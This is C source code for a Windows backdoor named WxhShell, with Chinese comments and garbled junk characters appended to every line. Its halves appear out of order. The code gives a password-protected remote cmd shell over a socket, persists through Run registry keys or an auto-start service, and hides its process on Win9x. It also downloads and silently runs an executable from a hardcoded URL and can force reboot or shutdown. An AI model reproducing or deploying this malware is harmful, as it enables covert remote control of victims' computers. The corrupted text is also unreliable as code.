    if(Boot(SHUTDOWN)) FRR`<do5$,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { ML)F]]  
    else { }u `~lw(Z  
    closesocket(wsh); ;+Mee ^E>!  
    ExitThread(0); ^h5h kIx0  
    } 'ZXd |WI  
    break; )_H>d<di  
    } -Z<V? SFOK  
  // 获取shell q qFN4AO  
  case 's': { q Q/<\6Sl  
    CmdShell(wsh); *@-a{T}  
    closesocket(wsh); AnD#k ]  
    ExitThread(0); # VAL\Z  
    break; i uGly~  
  } C"[d bh!  
  // 退出 ]T<\d-!CZN  
  case 'x': { t91z<Y|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5_yu4{@;y  
    CloseIt(wsh); Z< 4Du  
    break; +W}dO#  
    } dSkx*#FEE  
  // 离开 9N*!C{VW  
  case 'q': { -h`[w:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d+iV19#i  
    closesocket(wsh); +)06*"I  
    WSACleanup(); ./r#\X)dc  
    exit(1); 8IQqDEY^  
    break; -NL=^O$G  
        } y/\0qQ/  
  } ^dP]3D1 @  
  } 4^u wZ:  
)"sJaHx<  
  // 提示信息 G>?'b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zAA3bgaa  
} i[r>^U8O  
  } BHrNDpv  
&XF@Dvv  
  return; |-zefzD|  
} {@*l,[,5-  
tg#d.(  
// shell模块句柄 Y3M"a8e'  
int CmdShell(SOCKET sock) 9'I$8Su  
{ RkTO5XO  
STARTUPINFO si; M WHzrqCA  
ZeroMemory(&si,sizeof(si)); 7c>{og6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cz)/Bq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #_9Jam%M  
PROCESS_INFORMATION ProcessInfo; 9X ^D(  
char cmdline[]="cmd"; [qHtN.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NB)$l2<d  
  return 0; {K ,-fbE  
} ;]I~AGH:  
*m.4)2u=  
// 自身启动模式 = t!$72g\  
int StartFromService(void) ZD`p$:pT  
{ RuBL_Vi  
typedef struct 7Pp~)Kq=  
{ JXKo zy41  
  DWORD ExitStatus; me`|i-   
  DWORD PebBaseAddress; %}ASll0uq  
  DWORD AffinityMask; NxzRVsNF  
  DWORD BasePriority; $QC^hC  
  ULONG UniqueProcessId; /vrjg)fer  
  ULONG InheritedFromUniqueProcessId; J,,+JoD  
}   PROCESS_BASIC_INFORMATION; 88~ lP7J  
wU(N<9  
PROCNTQSIP NtQueryInformationProcess; _]q%Hve  
=CGB}qU l0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; em, j>qp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n\'@]qG)Z4  
whb,2=gIE  
  HANDLE             hProcess; Ks FkC=  
  PROCESS_BASIC_INFORMATION pbi; o)SA^5  
S<=|i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rG"QK!R5  
  if(NULL == hInst ) return 0; oV,lEXz  
#1VejeTi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jB-wJNP/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }$D{YHF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P d)<Iw^<  
-$@4e|e%a  
  if (!NtQueryInformationProcess) return 0; W;y ,Xs  
qytH<UB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OaCp3No  
  if(!hProcess) return 0; eW.[M?,  
{q^?Rw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \rPT7\ZA  
_^Yav.A=  
  CloseHandle(hProcess); y - Ge"mY  
_;8+L\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O$$$1VHYo  
if(hProcess==NULL) return 0; NUb:5tL  
+8eW/Bs@2  
HMODULE hMod; l.AG^b  
char procName[255]; i48Tb7Rx~n  
unsigned long cbNeeded; K.I  \E  
hJasnY7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ` 8OA:4).  
t}A n:  
  CloseHandle(hProcess); ppXt8G3% x  
w?Nx ^)xX  
if(strstr(procName,"services")) return 1; // 以服务启动 q@8j[15  
Yt#e[CYnu  
  return 0; // 注册表启动 ," ~4l&  
} !Q" 3B6 86  
+t`QHvxv  
// 主模块 wML5T+  
int StartWxhshell(LPSTR lpCmdLine) XJ9l, :c,  
{ I15g G.)  
  SOCKET wsl; L; f  
BOOL val=TRUE; ]id5jVY  
  int port=0; zyF[I6Gs  
  struct sockaddr_in door; w 7Y>B`wm?  
97~*Z|#<+  
  if(wscfg.ws_autoins) Install(); .>bvI1  
s\#eD0|  
port=atoi(lpCmdLine); o])2_e5  
F2k)hG*|{  
if(port<=0) port=wscfg.ws_port; +'fdAc:5',  
itmQH\9 8  
  WSADATA data; +pMjm&CF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fm,} sP"Qx  
:.%Hu9=GL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &f$[>yg1-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Kk t9M\  
  door.sin_family = AF_INET; -f!oq7U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W$_@9W(Bl  
  door.sin_port = htons(port); Tx!c }  
i[x;k;m2q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ne 9R u'B6  
closesocket(wsl); '.&z y#  
return 1; .-W_m7&}  
} xs ^$fn\  
ecgGl,{  
  if(listen(wsl,2) == INVALID_SOCKET) { n gC|BLT%h  
closesocket(wsl); 2 - ?  
return 1; *q/oS8vavd  
} v\gCgx=%j  
  Wxhshell(wsl); -+#g.1UL/  
  WSACleanup(); 7<?~A6  
tzFgPeo$;  
return 0; ;q6FdS  
B\z4o\am%  
} SOPQg?'n=V  
E%E3h1Ua  
// 以NT服务方式启动 g,seqh%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5 LZ+~!2+  
{ '5vgpmn  
DWORD   status = 0; 4lqowg0  
  DWORD   specificError = 0xfffffff; q>X%MN y  
bWAVBF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qp@:Zqz8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wt@q+9:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {}TR'Y4  
  serviceStatus.dwWin32ExitCode     = 0; R0v5mD$:G  
  serviceStatus.dwServiceSpecificExitCode = 0; DMY?'Nts!  
  serviceStatus.dwCheckPoint       = 0; "jyh.@<  
  serviceStatus.dwWaitHint       = 0; 38hAg uZX  
Im\{b=vT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MxXu&.| _  
  if (hServiceStatusHandle==0) return; @'yD(ZMAz  
Y=#g_(4*  
status = GetLastError(); 4LBMhLy  
  if (status!=NO_ERROR) i1#\S0jN  
{ X)K3X:~L+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :"aCl~cy9g  
    serviceStatus.dwCheckPoint       = 0; YLfZ;W|6u  
    serviceStatus.dwWaitHint       = 0; =Qcz:ng  
    serviceStatus.dwWin32ExitCode     = status; {t;{={$  
    serviceStatus.dwServiceSpecificExitCode = specificError; XNU[\I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O)tZ`X;  
    return; >/DyR+?>4  
  } 2@ <x%T  
8R6!SB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JRC+>'}Xj  
  serviceStatus.dwCheckPoint       = 0; -H%806NAX7  
  serviceStatus.dwWaitHint       = 0; u K`T1*_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p6yC1\U!o  
} hl[!4#b]K  
ci@U a}T  
// 处理NT服务事件,比如:启动、停止 m-Uq6_e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4oF8F)ASj  
{ 3PEv.hGx  
switch(fdwControl) ZMHb  
{ cI O7RD$8  
case SERVICE_CONTROL_STOP: [7~ !M*o9  
  serviceStatus.dwWin32ExitCode = 0; JRm:hf'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hK+Iow-  
  serviceStatus.dwCheckPoint   = 0; P>dMET  
  serviceStatus.dwWaitHint     = 0; hoc$aqP6pp  
  { <Cvlz^K[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H-9%/e  
  } Q`Q%;%t  
  return; tBp146`  
case SERVICE_CONTROL_PAUSE: GB(o)I#h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A(mU,^  
  break; "(hhb>V1Wl  
case SERVICE_CONTROL_CONTINUE: R^.oM1qu|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0wLu*K5$4E  
  break; d (Fb_  
case SERVICE_CONTROL_INTERROGATE: 7J]tc1-re  
  break; E0<9NF Qr7  
}; aMSX"N"ot  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -|MeC  
} `o 6Hm  
8} \Lt  
// 标准应用程序主函数 /.<T^p@\&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vMiZ:*iaj@  
{ HXTBxh  
[lqwzW{(UN  
// 获取操作系统版本 '*5I5'[ X,  
OsIsNt=GetOsVer(); LFCcV<~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3%] %c6  
$/aZ/O)F  
  // 从命令行安装 xq2{0q  
  if(strpbrk(lpCmdLine,"iI")) Install(); SSKn7`  
x?:[:Hf   
  // 下载执行文件 }jM&GH1  
if(wscfg.ws_downexe) { /#z5bo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ec: ?Q0  
  WinExec(wscfg.ws_filenam,SW_HIDE);  $&96qsr  
} 0sv#* &0=  
;^}gC}tq  
if(!OsIsNt) { a a=GW%  
// 如果时win9x,隐藏进程并且设置为注册表启动 0Ii* "?s  
HideProc(); dyRKmLb  
StartWxhshell(lpCmdLine); 9pKN^FX,76  
} fQ5V RpWGn  
else C:/O]slH  
  if(StartFromService()) U5]{`C0H?  
  // 以服务方式启动 CBA MAr  
  StartServiceCtrlDispatcher(DispatchTable); ]A:n]mL  
else S ni Ck*T,  
  // 普通方式启动 ')w:`8Tl  
  StartWxhshell(lpCmdLine); !>g_9'n'  
oZxC.;xJ  
return 0; Ll%CeP  
} 5Xu2MY=  
EX%KfWDr  
c(. 2D  
wRn]  
=========================================== [];*9vxW  
VLuhURI)  
>(s)S[\  
31 \l0Jg  
O(8Px  
|*5Kfxq  
" ?(el6J}  
%|$h<~  
#include <stdio.h> P08=?  
#include <string.h> 6 eqxwj{S[  
#include <windows.h> <(dHh9$~  
#include <winsock2.h> }>I|\Z0I  
#include <winsvc.h> cXiNO ke&  
#include <urlmon.h> _5(lp} s  
sK8=PZ \  
#pragma comment (lib, "Ws2_32.lib") ]a )o@FI  
#pragma comment (lib, "urlmon.lib") 7F OG^  
oa(R,{_*q  
#define MAX_USER   100 // 最大客户端连接数 nqNL[w6{  
#define BUF_SOCK   200 // sock buffer ^s/HbCA  
#define KEY_BUFF   255 // 输入 buffer !%{/eQFT4  
B#Cb`b"  
#define REBOOT     0   // 重启 ES[H^}|Gi  
#define SHUTDOWN   1   // 关机 K,{P b?  
'M>QA"*48E  
#define DEF_PORT   5000 // 监听端口 YIv!\`^ \  
3-z; pk  
#define REG_LEN     16   // 注册表键长度 ]z EatY  
#define SVC_LEN     80   // NT服务名长度 1*\JqCR  
p R=FH#  
// 从dll定义API z^z_!@7v   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0|kkwZVPn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q(sEN!^L`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =e2|:Ba!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sdF;H[  
T8( \:v  
// wxhshell配置信息 (3Hz=k_  
struct WSCFG { R57>z`;  
  int ws_port;         // 监听端口 @>n7  
  char ws_passstr[REG_LEN]; // 口令 | +osEHC  
  int ws_autoins;       // 安装标记, 1=yes 0=no "]\sw"zO?  
  char ws_regname[REG_LEN]; // 注册表键名 D#}t)$"  
  char ws_svcname[REG_LEN]; // 服务名 n qSjP5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]v&)mK]n=o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \vj<9ke&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #zflU99d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F !DDlYUz.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xj8 yQ Y1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -j1?l Y  
Vmq:As^a  
}; \$GM4:R D  
mw2/jA7  
// default Wxhshell configuration ]X y2km]  
struct WSCFG wscfg={DEF_PORT, q1!45a  
    "xuhuanlingzhe", #-5.G>8  
    1, W^{zlg  
    "Wxhshell", !nh7<VJ  
    "Wxhshell", )Il) H  
            "WxhShell Service", {j$:9  H  
    "Wrsky Windows CmdShell Service", 2P3,\L  
    "Please Input Your Password: ", [B<htD&  
  1, 0c6b_%Rd  
  "http://www.wrsky.com/wxhshell.exe", KE>|,U r  
  "Wxhshell.exe" I`k%/ei38  
    }; WzD=Ol  
1iNq|~  
// 消息定义模块 Vwxb6,}Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P2la/jN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {m%]`0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f793yCiG  
char *msg_ws_ext="\n\rExit."; zh8\ _> +  
char *msg_ws_end="\n\rQuit."; +9LIpU&5  
char *msg_ws_boot="\n\rReboot..."; je_:hDr  
char *msg_ws_poff="\n\rShutdown..."; = BcKWC  
char *msg_ws_down="\n\rSave to "; []^fb,5a  
<'WS -P%U  
char *msg_ws_err="\n\rErr!"; =.T50~+M  
char *msg_ws_ok="\n\rOK!"; Nfv.v1Tt+  
@">^2  
char ExeFile[MAX_PATH]; ?'>pfU  
int nUser = 0; 'cp1I&>  
HANDLE handles[MAX_USER]; N_jpCCG~  
int OsIsNt; +H"[WZ5  
#aHPB#  
SERVICE_STATUS       serviceStatus; EWz,K] _'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '" MT$MrT  
1ym^G0"s  
// 函数声明 &+0WZ#VI  
int Install(void); {`RCh]W  
int Uninstall(void); py \KY R  
int DownloadFile(char *sURL, SOCKET wsh); ]#$l"ss,  
int Boot(int flag); bhk:Szqz  
void HideProc(void); 6:\0=k5  
int GetOsVer(void); PB[ Y^q  
int Wxhshell(SOCKET wsl); s=KK)6T  
void TalkWithClient(void *cs); O4`am:@  
int CmdShell(SOCKET sock); Z+p'3  
int StartFromService(void); #bIUO2yVo  
int StartWxhshell(LPSTR lpCmdLine); %?2:1o  
<!qN<#$y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O+f'Ql  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {HF,F=W  
Y\7WCaSgi  
// 数据结构和表定义 LIah'6qR  
SERVICE_TABLE_ENTRY DispatchTable[] = { Q?\%4>2  
{ XC*!=h*  
{wscfg.ws_svcname, NTServiceMain}, _8QHx;}  
{NULL, NULL} U5[,UrC  
}; 4hl`~&yDf  
z4!Y9  
// 自我安装 FaA'%P@  
int Install(void) ?aMd#.&  
{ ,F;<Y9]  
  char svExeFile[MAX_PATH]; Fu%D2%V$/  
  HKEY key; i!yu%>:M  
  strcpy(svExeFile,ExeFile); VbU*&{j  
@#u'z ~a)  
// 如果是win9x系统,修改注册表设为自启动 :`Sd5b>  
if(!OsIsNt) { +HAd=DU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [B_(,/?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QmiS/`AAv  
  RegCloseKey(key); XEX-NE"]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Be\^%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I_.Jo `lK~  
  RegCloseKey(key); qI= j>x  
  return 0; =|j~*6Hd  
    } ta  
  } b^s>yN  
} w *Txc}  
else { [}*xxy   
 0?80V'  
// 如果是NT以上系统,安装为系统服务 ;NoD4*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c.?+rcnq  
if (schSCManager!=0) >Hd Pcsl L  
{ sjW;Nsp  
  SC_HANDLE schService = CreateService I d}@  
  ( 6+.8nx:9X  
  schSCManager, Jf</83RZ  
  wscfg.ws_svcname, j&y>?Y&Sb  
  wscfg.ws_svcdisp, wJ>.I<F6B  
  SERVICE_ALL_ACCESS, ^J-"8%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^U;r>[T9h  
  SERVICE_AUTO_START, f53WDI6  
  SERVICE_ERROR_NORMAL, eVvDis  
  svExeFile, h 0c&}kM  
  NULL, -~+Y0\%E  
  NULL, a +lTAe  
  NULL, @%[ dh@oY  
  NULL, QnMN8Q9  
  NULL ^Mc zumG[  
  ); 2EAY`}Rl6.  
  if (schService!=0) K0 6 E:  
  { IpYw<2'  
  CloseServiceHandle(schService); z~0f[As.  
  CloseServiceHandle(schSCManager); #J w\pOn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #Zq[.9!q{  
  strcat(svExeFile,wscfg.ws_svcname); _/pdZM,V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %YLyh?J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u.!<)VIJx  
  RegCloseKey(key); 8]2j*e0xV  
  return 0; ^`f( Pg!  
    } wK*b2r}0/  
  } |]=s  
  CloseServiceHandle(schSCManager); ,\CG}-v@CN  
} ( L ]C  
} )BX-Y@fpA  
z@tIC^s  
return 1; y&(R1Y75  
} ,/1[(^e  
iosL&*'8  
// 自我卸载 :G/.h[\R|  
int Uninstall(void) Op 0Qpn  
{ W^T6^q5;H  
  HKEY key; Hphfqdh0`  
Ks/Uyu. X  
if(!OsIsNt) { G ]JWd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IA(+}V  
  RegDeleteValue(key,wscfg.ws_regname); A1kqWhg\  
  RegCloseKey(key); l ]CnLqf&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jHx)q|2\  
  RegDeleteValue(key,wscfg.ws_regname); ?S0gazZm  
  RegCloseKey(key); y^tp^  
  return 0; \?K>~{)  
  } $?Yw{%W  
} R)u ${  
} ?]Z EK8c  
else { ?cmv;KV   
F qH@i Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zrazFI0G  
if (schSCManager!=0) Ng;Fhv+  
{ se^(1R k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *p>1s!i  
  if (schService!=0) vkg."G:=  
  { nd xijqw  
  if(DeleteService(schService)!=0) { wJb"X=i*  
  CloseServiceHandle(schService); 9xZ?}S:d  
  CloseServiceHandle(schSCManager); (U@uJ  
  return 0; h"849c;C.  
  } ?D]qw4J  
  CloseServiceHandle(schService); o<f|jGY0  
  } "~=\AB=+Z  
  CloseServiceHandle(schSCManager); {S=gXIh(y  
} $0wF4$)  
} |vf /M|  
o ImW  
return 1; Q"QL#<N  
} .!`v2_  
eF%IX  
// 从指定url下载文件 j[q$;uSD  
int DownloadFile(char *sURL, SOCKET wsh) =^D{ZZw{  
{ oEuo@\U05v  
  HRESULT hr; B'` jdyaE9  
char seps[]= "/"; iT}L9\  
char *token; O:86*  
char *file;  U<Z\jT[  
char myURL[MAX_PATH]; HZ.Jc"+M  
char myFILE[MAX_PATH]; sXmo.{Ayb  
y |0I3n]e  
strcpy(myURL,sURL); D-!#TN`Y  
  token=strtok(myURL,seps); BH$+{rZ8t  
  while(token!=NULL) 3V2w1CERE  
  { j"Vb8}  
    file=token; 9CW8l0  
  token=strtok(NULL,seps); YTo^Q&  
  } ; rJ  
9X[}ik0  
GetCurrentDirectory(MAX_PATH,myFILE); y+ ZCuX  
strcat(myFILE, "\\"); q=|0lZ$`V_  
strcat(myFILE, file); },'Ij; %%Q  
  send(wsh,myFILE,strlen(myFILE),0); sxBRg=  
send(wsh,"...",3,0); Hz] p]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DJ#z0)3<p  
  if(hr==S_OK) c$w}h[  
return 0; q7'[II;  
else 0Fi&7%  
return 1; D_MNF =7  
ok+-#~VTn  
} avI   
@N0(%o&  
// 系统电源模块 {x8UL7{  
int Boot(int flag) `+go| 5N2  
{ Q8sCI An{  
  HANDLE hToken; %=O$@.%Zc  
  TOKEN_PRIVILEGES tkp; ;zl/  
av*M #  
  if(OsIsNt) { gc6T`O-_;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0XNj! ^&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T2$V5RyX  
    tkp.PrivilegeCount = 1; hm5A@Z   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )xMP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8;r7ksE~  
if(flag==REBOOT) { Q, !b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >5|;8v-r  
  return 0; x# &ZGFr~  
} d{LQr}_o$$  
else { rH<iUiA?O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $CY B&|d  
  return 0; 8(Y=MW;g  
} m#oZu {  
  } I;!zZ.\  
  else { jt/ |u=  
if(flag==REBOOT) { 6$JRV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `xO&!DN  
  return 0; ]&D;'),   
} QhHexr6  
else { yfD)|lK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G2x5%`   
  return 0; 6c/Tm0[  
} A -dL_3  
} h""a#n)q}`  
@e/40l|X  
return 1; G)E#wh_S^  
} m )2t<  
&Z^,-Y  
// win9x进程隐藏模块 {=NHidi~  
void HideProc(void) ,6%{9oW9Z:  
{ 1Jx|0YmO  
Kb#}f/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o5N];Nj  
  if ( hKernel != NULL ) 8;YN`S!o  
  { vkXdKL(q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Va1 eG]jQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hkv4t5F  
    FreeLibrary(hKernel); U*' YGv  
  } L|3wG Y9E  
lj1wTiaI(  
return; h|!F'F{  
} fi[c^e+IX  
O_p:`h:;M  
// 获取操作系统版本 oR=^NEJv  
int GetOsVer(void) Ass8c]H@  
{ fQ&:1ec  
  OSVERSIONINFO winfo; 3}H"(5dL}z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ve #cz2Z  
  GetVersionEx(&winfo); oJk$ +v6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9K8f ##3  
  return 1; I!)gXtJA"  
  else hr<E%J1k%  
  return 0; \kpk-[W*x{  
} 'xdM>y#S  
:95wHmk  
// 客户端句柄模块 %rQ5 <U  
int Wxhshell(SOCKET wsl) {)t6DH#  
{ GLe(?\Ug=  
  SOCKET wsh; *mM+(]8US  
  struct sockaddr_in client; bT@7&  
  DWORD myID; V;Zp3Qo!  
H]. 4~ 8  
  while(nUser<MAX_USER) u_o>v{&i  
{ 6NCa=9  
  int nSize=sizeof(client); 6t5)rlT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -o+_PL $\  
  if(wsh==INVALID_SOCKET) return 1; 6/9h=-w&  
Musz+<]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]u_^~  
if(handles[nUser]==0) `F>1xMm  
  closesocket(wsh); W 9Z.X!h  
else VZ*Q|  
  nUser++; Dk|<&uVV  
  } E\r5!45r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q~4o{"3.'  
!}()mrIlP  
  return 0; Z;@F.r  
} t Ib?23K0  
T[=XGAJ  
// 关闭 socket _9Kdcoh  
void CloseIt(SOCKET wsh) a$MMp=p  
{ ] t|KFk!)  
closesocket(wsh); oy'Q#!  
nUser--; -/aDq?<<  
ExitThread(0); /h0<0b?i  
} kRgyvA,*;  
{sy#&m(el  
// 客户端请求句柄 _[V.%k  
void TalkWithClient(void *cs) Uq/(xh,t5  
{ [?BmW {*u.  
2I:vie  
  SOCKET wsh=(SOCKET)cs; Nh41o0  
  char pwd[SVC_LEN]; #3$U&|`  
  char cmd[KEY_BUFF]; %2<chq  
char chr[1]; &L-y1'i=j  
int i,j; PZO7eEt8  
@ -JD`2z  
  while (nUser < MAX_USER) { ~Xnq(}?ok  
dCcV$BX,K  
if(wscfg.ws_passstr) { P _t8=d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o><~.T=d&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _c%]RE  
  //ZeroMemory(pwd,KEY_BUFF); n(a7%Hx2  
      i=0; F5%-6@=  
  while(i<SVC_LEN) { 3vOI=ar=L~  
{R[lsdH(X  
  // 设置超时 C%v@ u$N  
  fd_set FdRead; -,96Qg4vI  
  struct timeval TimeOut; 0At??Z py  
  FD_ZERO(&FdRead); b]mRn{r?  
  FD_SET(wsh,&FdRead); DB_ x  
  TimeOut.tv_sec=8; 71Ssk|L  
  TimeOut.tv_usec=0; 9U58#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /U)w:B+p/g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K4xZT+Qb  
%yQ-~T@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *ZGQ`#1.X6  
  pwd=chr[0]; mCtuyGY  
  if(chr[0]==0xd || chr[0]==0xa) { )xP]rOT  
  pwd=0; ~@z5Ld3xz  
  break; @P"q`*  
  } E[LXZh  
  i++; G4s!q1H  
    } *E .{i   
(EU X>IJ  
  // 如果是非法用户,关闭 socket K;-:C9@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;oC85I  
} -MHu BgYJ-  
gSu+]N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .gT@_.ZD9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e\.|d<N?  
pZGs o  
while(1) { 5cyl:1Ln  
.4F(Y_c  
  ZeroMemory(cmd,KEY_BUFF); t2+m7*76  
nI.#A  
      // 自动支持客户端 telnet标准   rN{&$+"2  
  j=0; +U+c] Xgt  
  while(j<KEY_BUFF) { h&yaug,.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y*f7& '[  
  cmd[j]=chr[0]; >K-O2dry*  
  if(chr[0]==0xa || chr[0]==0xd) { c.&vWmLSGE  
  cmd[j]=0; jRB:o?S  
  break; #B'WT{B$/~  
  } zv#i\8h^p  
  j++; 3 %dbfT j  
    } d&?B/E^  
GWA_,/jS%  
  // 下载文件 fylW)W4C  
  if(strstr(cmd,"http://")) { fdd3H[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]$nJn+85@b  
  if(DownloadFile(cmd,wsh)) V}9wx%v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &J"a`l2  
  else %)l2dK&9"j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X.Z?Ie  
  } ?b8NEVjw  
  else { )l30~5u<J  
=q5A@!D  
    switch(cmd[0]) {  G!O D7:  
